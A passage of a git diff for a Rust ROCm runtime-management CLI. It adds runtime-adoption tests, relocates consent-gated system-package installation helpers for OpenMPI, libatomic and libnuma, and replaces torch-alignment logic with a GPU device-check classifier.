Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!( + adopted.python_executable.as_deref(), + Some(python_executable.as_path().to_string_lossy().as_ref()) + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_rejects_runtime_id_without_family() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-no-family"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + fs::write(&python_executable, "python")?; + + let error = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root), + bin_path: Some(sdk_bin), + ..therock::RocmSdkPythonProbe::default() + }, + ) + .unwrap_err() + .to_string(); + + assert!(error.contains("must include a TheRock family suffix")); + assert!(!runtime_registry_dir(&paths).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_refuses_to_overwrite_without_replace() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-replace"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + let amdhip = sdk_bin.join(if cfg!(windows) { + "amdhip64_7.dll" + } else { + "libamdhip64.so" + }); + let hipblas = sdk_bin.join(if cfg!(windows) { + "hipblas.dll" + } else { + "libhipblas.so" + }); + fs::write(&python_executable, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + + let probe = therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + ..therock::RocmSdkPythonProbe::default() + }; + let request = AdoptRuntimeRequest { + python_executable: python_executable.clone(), + install_root: external_root.clone(), + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }; + + adopt_runtime_from_probe(&paths, request.clone(), probe.clone())?; + let error = adopt_runtime_from_probe(&paths, request, probe.clone()) + .unwrap_err() + .to_string(); + assert!(error.contains("already exists")); + + adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: true, + }, + probe, + )?; + + let _ = fs::remove_dir_all(root); + Ok(()) + } +} diff --git a/apps/rocm/src/runtime_install_finalize.rs b/apps/rocm/src/runtime_install_finalize.rs index 71c34ddadb..51fcab225f 100644 --- a/apps/rocm/src/runtime_install_finalize.rs +++ b/apps/rocm/src/runtime_install_finalize.rs @@ -7,24 +7,24 @@ //! //! Mechanically relocated from `main.rs` with no behavior change. //! -//! Called from `install_cmd.rs`'s `install()` (the SDK-install path), from -//! `engines_cmd.rs` (engine install) and, for `real_os_release`, from -//! `driver_install.rs`. +//! Called from `install_cmd.rs`'s `install()` (the SDK-install path) and from +//! `engines_cmd.rs` (engine install). //! //! It calls into the sibling `runtimes_cmd.rs` for runtime activation; //! `runtimes_cmd.rs` reaches back only from its own test module. //! +//! The host system-package installation (`ensure_openmpi_for_vllm`, +//! `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`) lives in +//! `system_packages.rs`; this module re-exports those three names for +//! `install_cmd.rs` and `engines_cmd.rs`. +//! //! `SdkInstallConsents` stays `pub(crate)` and is read from `install()`; -//! several torch/dependency/device helpers (`ensure_openmpi_for_vllm`, -//! `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`, -//! `settle_engine_install`) are also `pub(crate)` and read from -//! `engines_cmd.rs`. +//! `settle_engine_install` is also `pub(crate)` and read from `engines_cmd.rs`. use std::fmt::Write as _; use std::path::{Path, PathBuf}; -use std::process::{Command as ProcessCommand, Stdio}; -use anyhow::{Context, Result, bail}; +use anyhow::Result; use rocm_core::{ AppPaths, ExamineSummary, RocmCliConfig, preferred_serve_engine_for_host_gpu_summary, }; @@ -33,14 +33,24 @@ use rocm_engine_protocol::{EngineMethod, InstallRequest, InstallResponse}; use crate::engine_ipc::engine_request_with_env_root; use crate::engines_cmd::{ engine_manages_own_runtime, env_root_for_engine_install, runtime_key_for_python, - runtime_manifest_for_selector, }; use crate::runtimes_cmd::{ activate_runtime, newest_installed_runtime_manifest, recover_setup_runtime_registration, }; +pub(crate) use crate::system_packages::{ + ensure_libatomic_for_torch, ensure_libnuma_for_torch, ensure_openmpi_for_vllm, +}; use crate::therock; use crate::{ROLLBACK_RECOVERY_HINT, record_cli_audit_event, runtime_services, sanitize_log_value}; +mod torch_alignment; + +use torch_alignment::{ + TorchAlignment, TorchRetention, classify_retained_torch, deliberately_diverged_package, + report_torch_alignment, report_torch_retention, retained_diverged_package, + runtime_library_paths_for_key, runtime_python_for_key, sdk_torch_build_for_key, +}; + #[derive(Debug, Clone)] pub(crate) struct SdkInstallFinalization { pub(crate) runtime_key: String, @@ -107,424 +117,6 @@ impl SdkInstallConsents { } } -/// What to do with a distro-aware system-package install plan, given the caller's -/// approval and what this host lets us do without a password. -#[derive(Clone, Copy, Debug, PartialEq, Eq)] -enum SystemPackageInstallAction { - /// Print the commands (and the preflight checks) and continue without them. - /// Nothing privileged is run, so nothing can block on a password prompt. - PrintManualCommands, - /// Run the plan. `run_system_package_install_plan` inherits stdin so an - /// interactive `sudo` password prompt can be answered. - RunPlan { - /// The `approval:` line explaining why this was allowed to run. - approval: &'static str, - /// Whether a failed command is an error rather than a warning. Only an - /// explicit approval escalates: the automatic (root/passwordless) path - /// must never let a missing system package fail an unattended install. - escalate_failure: bool, - }, -} - -/// Decide between the two, given whether the *system-package* consent was granted -/// and whether the host can install without prompting. -/// -/// Split out from the two callers below so the decision is testable without a -/// package manager, and so the "approved but no way to answer a password prompt" -/// case has one place to be reasoned about. -const fn system_package_install_action( - approved: bool, - can_autoinstall: bool, -) -> SystemPackageInstallAction { - if !approved && !can_autoinstall { - return SystemPackageInstallAction::PrintManualCommands; - } - SystemPackageInstallAction::RunPlan { - approval: if approved { - "granted by --yes" - } else { - "auto (root or passwordless sudo available)" - }, - escalate_failure: approved, - } -} - -/// The real host's `/etc/os-release`, falling back to `/usr/lib/os-release` -/// when the former is absent (per `os-release(5)`). -/// -/// Deliberately not routed through `rocm_core::host_path`: every caller builds -/// a package-manager plan (`apt`, `dnf`, `zypper`) that then runs against the -/// real machine, so a simulated host root must not choose its distro. The descriptive distro name `examine` reports comes from -/// `ExamineSummary::gather`'s `distro` field, which does follow a simulated -/// root. -pub(crate) fn real_os_release() -> rocm_core::hardware_root::OsRelease { - rocm_core::hardware_root::read_os_release(rocm_core::hardware_root::identity_path_for_str) -} - -/// Run a command given as an argv vector directly, without going through a shell. -/// -/// Used for [`run_system_package_install_plan`], whose commands are modeled as -/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. -fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { - let (program, args) = argv - .split_first() - .context("install command has no program to run")?; - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; - if !status.success() { - bail!("`{}` exited with {status}", argv.join(" ")); - } - Ok(()) -} - -/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel -/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through -/// the system package manager. -/// -/// The privileged install runs automatically when it can be performed without an -/// interactive prompt (the process is root, or passwordless `sudo` is available), -/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan -/// is printed and the caller continues without it. -/// -/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be -/// installed automatically without explicit approval (warn-and-continue). When -/// the user explicitly approved the install with `--yes` and it still fails, the -/// error is propagated so the caller does not silently proceed past a failure the -/// user asked to perform. -pub(crate) fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { - if cfg!(windows) { - return Ok(()); - } - let status = rocm_core::openmpi::detect_openmpi(); - if status.present { - return Ok(()); - } - - let plan = rocm_core::openmpi::plan_for_os_release_read( - &real_os_release(), - rocm_core::openmpi::build_openmpi_install_plan, - ); - - println!("openmpi setup"); - println!( - " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" - ); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - eprintln!( - "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" - ); - return Ok(()); - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - let SystemPackageInstallAction::RunPlan { - approval, - escalate_failure, - } = system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return Ok(()); - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if rocm_core::openmpi::detect_openmpi().present { - println!(" status: installed"); - } else { - eprintln!( - "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" - ); - } - Ok(()) - } - Err(error) => { - // An explicit `--yes` is a deliberate request to perform the install; - // surface the failure so the vLLM install does not silently proceed - // past something the user asked for. The auto (unapproved) path keeps - // the warn-and-continue behavior so a missing OpenMPI never blocks an - // otherwise-unattended install. - // - // "Surface" is the exact claim, and it is not the same as failing the - // command: this error propagates out of the engine auto-install, and - // `finish_sdk_install` routes it through - // `engine_auto_install_failure_is_fatal`, which matches only - // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints - // the failure and exits 0. Said here because the downgrade happens - // far away and reads as a non-zero exit from this site alone. - if escalate_failure { - return Err(error.context( - "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", - )); - } - eprintln!("warning: OpenMPI install failed: {error}"); - eprintln!( - "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" - ); - Ok(()) - } - } -} - -/// Static description of a PyTorch runtime library dependency that may need to -/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] -/// so libatomic/libnuma (and any future additions) share one control flow. -struct TorchRuntimeDep { - /// Short label used in the setup header and warnings (e.g. `"libatomic"`). - name: &'static str, - /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). - soname: &'static str, - /// `reason:` line explaining why the dependency is required. - reason: &'static str, - /// Detection probe: returns whether the dependency is already loadable. - present: fn() -> bool, - /// Builds the distro-aware install plan from the parsed os-release fields. - build_plan: rocm_core::openmpi::InstallPlanBuilder, -} - -/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is -/// present. The SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this -/// is invoked both after `rocm install sdk` and during `rocm engines install -/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through -/// the system package manager (automatically when no interactive prompt is -/// needed or when `approved`, otherwise it prints the distro-aware plan). Never -/// blocks or fails the install (warn-and-continue). It is a no-op when -/// libatomic is already present. -pub(crate) fn ensure_libatomic_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libatomic", - soname: "libatomic.so.1", - reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", - present: rocm_core::openmpi::libatomic_present, - build_plan: rocm_core::openmpi::build_libatomic_install_plan, - }, - ); -} - -/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds -/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after -/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's -/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only -/// bundles numa under a renamed soname with rewritten versions that cannot -/// satisfy it, so the upstream numactl runtime must be installed from the system -/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it -/// automatically when no interactive prompt is needed or when `approved`, -/// otherwise it prints the distro-aware plan. Never blocks or fails the install -/// (warn-and-continue). No-op when libnuma is already present. -pub(crate) fn ensure_libnuma_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libnuma", - soname: "libnuma.so.1", - reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", - present: rocm_core::openmpi::libnuma_present, - build_plan: rocm_core::openmpi::build_libnuma_install_plan, - }, - ); -} - -/// Whether an E2E scenario has asked to skip the torch runtime dependency -/// checks entirely. These checks run a real system package-manager install -/// (`apt-get` or equivalent) whenever a dependency happens to be missing on -/// the host, which is slow, network-dependent, and mutates host state — none -/// of which a PTY scenario testing an unrelated concern (e.g. the download -/// spinner) should depend on. Only active under `e2e-test-hooks`; production -/// builds always run the real check. -#[cfg(feature = "e2e-test-hooks")] -fn torch_runtime_dep_checks_disabled() -> bool { - std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() -} - -#[cfg(not(feature = "e2e-test-hooks"))] -const fn torch_runtime_dep_checks_disabled() -> bool { - false -} - -/// Shared control flow behind [`ensure_libatomic_for_torch`] and -/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware -/// plan, and (when approved or auto-installable) run it via -/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the -/// caller. No-op on Windows or when the dependency is already present. -fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { - if cfg!(windows) { - return; - } - if torch_runtime_dep_checks_disabled() { - return; - } - if (dep.present)() { - return; - } - - let plan = rocm_core::openmpi::plan_for_os_release_read(&real_os_release(), dep.build_plan); - - println!("{} setup", dep.name); - println!(" reason: {}", dep.reason); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - // The distro is unknown, or its release file is unreadable (the detail - // above names the line), or the dependency ships with the base - // toolchain; nothing actionable to auto-install. - return; - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma - // only warns, whatever approved the attempt. - let SystemPackageInstallAction::RunPlan { approval, .. } = - system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!( - "warning: {} is required by PyTorch but was not installed automatically", - dep.name - ); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return; - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if (dep.present)() { - println!(" status: installed"); - } else { - eprintln!( - "warning: {} install commands completed but {} was still not found; verify the package manager output above", - dep.name, dep.soname - ); - } - } - Err(error) => { - eprintln!("warning: {} install failed: {error}", dep.name); - eprintln!( - "warning: continuing; run the commands above manually so PyTorch can load {}", - dep.soname - ); - } - } -} - -/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. -/// -/// `apt-get install -y` assumes yes for *removals* as well as installs, so a -/// dependency solution that evicts the ROCm stack would otherwise be applied -/// unattended (this runs automatically under `rocm install sdk` whenever root or -/// passwordless sudo is available). Simulating first turns that silent breakage -/// into an actionable error naming every package at risk. -/// -/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime -/// packages and have no equivalent assume-yes removal path. A simulation that -/// cannot be run (apt missing, transient failure) is not treated as a refusal — -/// the real command reports the failure with better context. -fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { - let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { - return Ok(()); - }; - let (program, args) = simulate_argv - .split_first() - .context("apt simulation has no program to run")?; - let Ok(output) = ProcessCommand::new(program) - .args(args) - .stdin(Stdio::null()) - .output() - else { - return Ok(()); - }; - if !output.status.success() { - return Ok(()); - } - - let removals = - rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); - let protected: Vec<&String> = removals - .iter() - .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) - .collect(); - if protected.is_empty() { - return Ok(()); - } - - let rendered = |packages: &[&String]| { - packages - .iter() - .map(|package| package.as_str()) - .collect::>() - .join(", ") - }; - let others: Vec<&String> = removals - .iter() - .filter(|package| !rocm_core::openmpi::is_protected_rocm_package(package)) - .collect(); - let other_detail = if others.is_empty() { - String::new() - } else { - format!("\n other packages it would remove: {}", rendered(&others)) - }; - bail!( - "refusing to run `{}`: it would remove ROCm packages and break this installation\n ROCm packages it would remove: {}{}\n action: install the dependency manually after resolving the conflict (for example with a package version that does not evict ROCm), then rerun", - argv.join(" "), - rendered(&protected), - other_detail - ); -} - -fn run_system_package_install_plan( - plan: &rocm_core::openmpi::SystemPackageInstallPlan, -) -> Result<()> { - let root = rocm_core::openmpi::running_as_root(); - for command in &plan.commands { - // `resolved_argv` prepends `sudo` only when the command needs root and we - // are not already root (where `sudo` may be absent); the argv runs - // directly without a shell. - let argv = command.resolved_argv(root); - // Never let an automatic dependency install evict the ROCm stack. - ensure_apt_install_preserves_rocm(&argv)?; - // Inherit stdin so an interactive `sudo` password prompt (the case the - // `--yes` approval exists for) can be answered. When already root or - // passwordless sudo is configured, sudo does not prompt and the inherited - // stdin is simply unused. - run_argv_with_stdin(&argv, Stdio::inherit()) - .with_context(|| format!("system package install command failed: {command}"))?; - } - Ok(()) -} - pub(crate) fn maybe_auto_install_sdk_preferred_engine( paths: &AppPaths, finalized: &SdkInstallFinalization, @@ -701,546 +293,123 @@ fn report_engine_dependency_check( ); } -/// The Python interpreter of the managed runtime `runtime_key`, when its manifest names -/// one. Used to check an environment whose engine install did not get far enough to -/// report its own interpreter. -fn runtime_python_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - manifest.python_executable.as_deref().map(PathBuf::from) -} - -/// The runtime's recorded ROCm library directories. -/// -/// These are what a served process gets on its loader path, so a probe must use -/// them too or it will judge a healthy runtime unusable. -fn runtime_library_paths_for_key(paths: &AppPaths, runtime_key: &str) -> Vec { - let Ok(manifests) = therock::load_runtime_manifests(paths) else { - return Vec::new(); - }; - runtime_manifest_for_selector(&manifests, runtime_key) - .and_then(|manifest| manifest.rocm_sdk.as_ref()) - .map(|probe| probe.library_paths.clone()) - .unwrap_or_default() -} - -/// The wheel index the runtime was installed from. -fn runtime_index_url_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - manifest.index_url.clone() -} - -/// Which torch a runtime should hold once an engine has been installed into it. -/// -/// Two installers write torch into the same environment. The SDK install writes -/// TheRock's build; the engine then writes the build from its own index, pinned -/// to an exact version. Letting either side win unconditionally is wrong, and -/// both failures have been observed in the field: -/// -/// * If the engine's build always wins, the runtime can end up with a torch that -/// loads against the installed SDK and then enumerates no devices, so serving -/// fails with an unhelpful error long after the install reported success. -/// * If the SDK's build always wins, the runtime can end up on a torch that -/// enumerates a device and still has no kernel image for this exact target, -/// failing on the first tensor operation instead. +/// Whether the installed runtime can actually run work on a GPU. /// -/// So compatibility is tested rather than assumed. A torch already executing a -/// GPU kernel with this SDK is kept exactly as it is — that decision is -/// `TorchRetention`, and it runs first. This alignment is the repair for -/// everything else, and what it installs is the SDK's *build* of the *release* -/// the engine pins: the release comes from the engine, which is built against it, -/// and the build comes from the SDK, which the libraries belong to. +/// The dependency check answers whether the engine's declared requirements are +/// satisfied. That is a question about metadata, and it is not the same question +/// as whether the environment works. Two distinct answers matter here, because a +/// torch can fail at either step: one built against a different ROCm version than +/// the installed SDK loads cleanly and then reports no devices, which vLLM turns +/// into `Failed to infer device type` at first serve; one built without a kernel +/// image for this target reports a device and then dies on the first tensor +/// operation. Only a torch that gets past both has been shown to work. #[derive(Debug, Clone, PartialEq, Eq)] -enum TorchAlignment { - /// The runtime already holds the SDK build of the engine's torch release. - AlreadyAligned { version: String }, - /// The engine's build was replaced with the SDK build of the same release. - Realigned { from: String, to: String }, - /// The SDK publishes no build of that release; the engine's own is kept. +enum RuntimeDeviceCheck { + /// torch imported and reported at least one device. + Usable { + device_count: u32, + torch_version: String, + }, + /// torch imported but reported no devices — a torch built for another SDK. + NoDevices { + torch_version: String, + hip_version: String, + }, + /// torch found a device and then could not execute a kernel on it. /// - /// Claimed only when the resolver actually said so. Any other failure is an - /// `InstallFailed`, because asserting "not published" over a network or disk - /// error sends the reader hunting for a missing wheel that exists. - Unavailable { wanted: String, kept: String }, - /// The realignment install failed for some other reason, carried verbatim. - InstallFailed { - wanted: String, - kept: String, + /// Distinct from `NoDevices` because the remedy is different: the runtime is + /// not looking at the wrong SDK, it is holding a build with no code for this + /// GPU. + KernelFailed { + torch_version: String, error: String, }, - /// The user opted out, and a replacement was due: their torch is kept. + /// The question could not be answered — including when torch does not import. /// - /// Distinct from every other outcome because nothing was attempted. Reading - /// it as `NotApplicable` would say the rule had no opinion, when it had one - /// and was told not to act on it, and that difference is what the reader - /// needs: `wanted` is the build that was not installed, `kept` the one still - /// there. Only reachable when those two actually differ, so a runtime the - /// opt-out changed nothing about is never described as one it spared. - Disabled { wanted: String, kept: String }, - /// Nothing to decide — no exact pin, no engine metadata, or no SDK torch. - NotApplicable(String), -} - -/// What the alignment rule concludes, before any of it is acted on. -#[derive(Debug, Clone, PartialEq, Eq)] -enum TorchAlignmentPlan { - AlreadyAligned { version: String }, - Install { wanted: String, from: String }, - NotApplicable(String), + /// Never a reason to assume healthy, but on its own never fatal either: see + /// `install_left_runtime_unusable`, which acts only on the verdicts where the + /// runtime was asked and answered badly. This variant covers benign causes as + /// well as real ones — a runtime whose Python could not be located, or a probe + /// that could not launch — and failing a multi-gigabyte install because a + /// probe did not run is worse than reporting what was and was not seen. The + /// cost is that a runtime whose torch is present but unimportable is reported + /// rather than failed. + NotVerified(String), } -/// The rule itself, kept free of I/O so both field failures can be tested. -/// -/// `wanted` is the engine's pinned *release* carrying the SDK's *build*. -fn plan_torch_alignment( - sdk_build: Option<&str>, - installed_torch: Option<&str>, - engine_requirement: Option<&str>, - engine: &str, -) -> TorchAlignmentPlan { - let Some(sdk_build) = sdk_build else { - return TorchAlignmentPlan::NotApplicable( - "the runtime manifest does not identify the SDK's torch build".to_owned(), +fn runtime_device_check(python: Option<&Path>, library_paths: &[PathBuf]) -> RuntimeDeviceCheck { + let Some(python) = python else { + return RuntimeDeviceCheck::NotVerified( + "the runtime's Python environment could not be located".to_owned(), ); }; - let Some(requirement) = engine_requirement else { - return TorchAlignmentPlan::NotApplicable(format!("{engine} does not pin torch")); - }; - let Some(pinned) = therock::requirement_pinned_version(requirement) else { - return TorchAlignmentPlan::NotApplicable(format!( - "{engine} does not pin torch to an exact version ({requirement})" - )); - }; - let wanted = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); - let installed = installed_torch.unwrap_or_default().to_owned(); - if installed == wanted { - TorchAlignmentPlan::AlreadyAligned { version: wanted } - } else { - TorchAlignmentPlan::Install { - wanted, - from: installed, - } + match therock::probe_runtime_devices(python, library_paths) { + Ok(probe) => classify_runtime_device_probe(probe), + Err(error) => RuntimeDeviceCheck::NotVerified(error.to_string()), } } -/// Whether a failed install means the resolver could not find that version. -/// -/// Deliberately narrow. Anything unmatched is reported as a plain failure with -/// its error, so an unrecognised message degrades to the honest answer rather -/// than to a confident wrong one. -fn install_error_reports_version_unavailable(error: &str) -> bool { - let error = error.to_ascii_lowercase(); - error.contains("no solution found") - || error.contains("were found for") - || error.contains("not found in the package registry") - || error.contains("has no version") -} - -/// Whether the user has opted out of realigning torch. -/// -/// The alignment rewrites a package the user may have installed deliberately, and -/// it runs on every path that installs an engine, so a hand-installed torch is -/// otherwise replaced again by the next `engines install`, `install sdk`, or -/// `engines shell`. The stack this resolves to — the SDK's build of the release -/// the engine pins — is not validated against the supported matrix, so "the SDK's -/// build does not work on this machine" is a case that can happen rather than a -/// hypothetical one, and it needs an exit that is not "stop using the CLI". -/// -/// The engine reads the same variable through the same helper, so the two sides -/// cannot drift; [`rocm_core::torch_alignment_disabled`] carries why that matters. -/// Suppressing the correction does not suppress the diagnosis: a runtime that -/// opens no device or cannot run a kernel on one is still reported as such — and -/// still fails the install on a host where a GPU was found. -fn torch_alignment_disabled() -> bool { - rocm_core::torch_alignment_disabled() +/// Read one probe as a verdict, kept free of I/O so every state can be tested. +fn classify_runtime_device_probe(probe: therock::RuntimeDeviceProbe) -> RuntimeDeviceCheck { + if !probe.import_ok { + return RuntimeDeviceCheck::NotVerified( + probe + .error + .unwrap_or_else(|| "torch did not import".to_owned()), + ); + } + let torch_version = probe.torch_version.unwrap_or_else(|| "unknown".to_owned()); + // A kernel that would not launch is definitive, so it is read before the + // count and never dropped: the probe only reaches that step after it has + // already enumerated a device, and the count alone would read as healthy. + if let Some(error) = probe.kernel_error { + return RuntimeDeviceCheck::KernelFailed { + torch_version, + error, + }; + } + match probe.device_count { + Some(0) => RuntimeDeviceCheck::NoDevices { + torch_version, + hip_version: probe.hip_version.unwrap_or_else(|| "unknown".to_owned()), + }, + Some(device_count) => RuntimeDeviceCheck::Usable { + device_count, + torch_version, + }, + // A `device_count()` that raises — HIP init failures are the live example — + // reports no count and puts the real exception in `error`. That exception is + // precisely the diagnostic this probe exists to capture, so prefer it over + // the generic line, which is only right when the probe returned nothing at + // all to explain itself. + None => RuntimeDeviceCheck::NotVerified( + probe + .error + .unwrap_or_else(|| "torch imported but did not report a device count".to_owned()), + ), + } } -/// Install the SDK's build of the release the engine pins, when that is needed. -/// -/// `torch` is the metadata probe the caller already took: the retention decision -/// that runs first needs the engine's pin too, and asking the runtime the same -/// question twice would be a second interpreter launch for an answer in hand. +/// One device-check verdict on one line, for quoting inside another block. /// -/// The opt-out is read where the install would run, not at the top. That is the -/// only place it changes anything, and reading it there is what lets the result -/// name the replacement it declined to make: a runtime with no replacement due -/// reports what it is, rather than reporting an opt-out that skipped nothing. -fn align_runtime_torch( - paths: &AppPaths, - python: &Path, - index_url: Option<&str>, - sdk_build: Option<&str>, - engine: &str, - torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, -) -> TorchAlignment { - let probe = match torch { - Ok(probe) => probe, - Err(error) => return TorchAlignment::NotApplicable(error.to_string()), - }; - let plan = plan_torch_alignment( - sdk_build, - probe.installed_torch.as_deref(), - probe.engine_requires_torch.as_deref(), - engine, - ); - let (wanted, from) = match plan { - TorchAlignmentPlan::AlreadyAligned { version } => { - return TorchAlignment::AlreadyAligned { version }; +/// The full block explains the verdict and names a consequence, which is right +/// where it is the answer and wrong where it is context for something else. This +/// keeps the part that identifies the verdict — the name and the torch it was +/// asked about — so a before/after pair reads as a pair rather than as two +/// competing diagnoses. +fn device_check_verdict(outcome: &RuntimeDeviceCheck) -> String { + match outcome { + RuntimeDeviceCheck::Usable { + device_count, + torch_version, + } => format!("usable ({device_count} device(s), torch {torch_version})"), + RuntimeDeviceCheck::NoDevices { torch_version, .. } => { + format!("no_devices (torch {torch_version})") } - TorchAlignmentPlan::NotApplicable(reason) => { - return TorchAlignment::NotApplicable(reason); - } - TorchAlignmentPlan::Install { wanted, from } => (wanted, from), - }; - // Read only now that a replacement is actually due, so the opt-out reports - // the install it stopped rather than standing in for a runtime that needed - // nothing. Everything after this point is the rewrite itself. - if torch_alignment_disabled() { - return TorchAlignment::Disabled { wanted, kept: from }; - } - let Some(index_url) = index_url else { - return TorchAlignment::NotApplicable( - "the runtime manifest records no wheel index to install from".to_owned(), - ); - }; - match therock::install_pinned_package( - paths, - python, - index_url, - "torch", - &format!("torch=={wanted}"), - ) { - Ok(()) => TorchAlignment::Realigned { from, to: wanted }, - // The SDK index may not publish this release at all. That is a real - // possibility, not an error to abort on: the engine's own build is left - // in place and the device check that follows reports whether it works. - Err(error) => { - let error = format!("{error:#}"); - if install_error_reports_version_unavailable(&error) { - TorchAlignment::Unavailable { wanted, kept: from } - } else { - TorchAlignment::InstallFailed { - wanted, - kept: from, - error, - } - } + RuntimeDeviceCheck::KernelFailed { torch_version, .. } => { + format!("kernel_failed (torch {torch_version})") } - } -} - -/// Render one alignment outcome as the `torch_alignment:` check block. -/// -/// `engine` names the engine whose pin decided the release, so the realigned line -/// reads `... the release vllm pins` rather than an anonymous "the engine". It -/// arrives from the engine selection and is sanitized like every 